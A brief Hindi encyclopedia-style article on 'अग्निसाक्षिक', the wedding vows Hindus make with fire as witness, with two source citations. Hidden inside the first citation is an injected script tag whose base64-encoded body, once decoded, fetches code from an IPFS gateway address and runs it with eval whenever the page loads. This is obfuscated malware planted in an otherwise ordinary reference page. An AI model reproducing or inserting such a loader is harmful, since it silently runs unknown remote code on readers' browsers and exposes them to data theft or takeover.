अग्निसाक्षिक
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अग्निसाक्षिक से तात्पर्य है कि हिन्दू शास्त्रानुसार विवाह के समय अग्नि को साक्षी मानकर कही गयी बातें और वचन, जो अटल समझे जाते हैं।[1] विवाह में वर और कन्या अग्नि को ही साक्षी मानकर जीवन भर आमरण आबद्ध रहने की प्रतिज्ञा करते हैं।[2]
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टीका टिप्पणी और संदर्भ
- ↑ पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 12 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ विवाहपद्धतिः; चतुर्थीलालकृत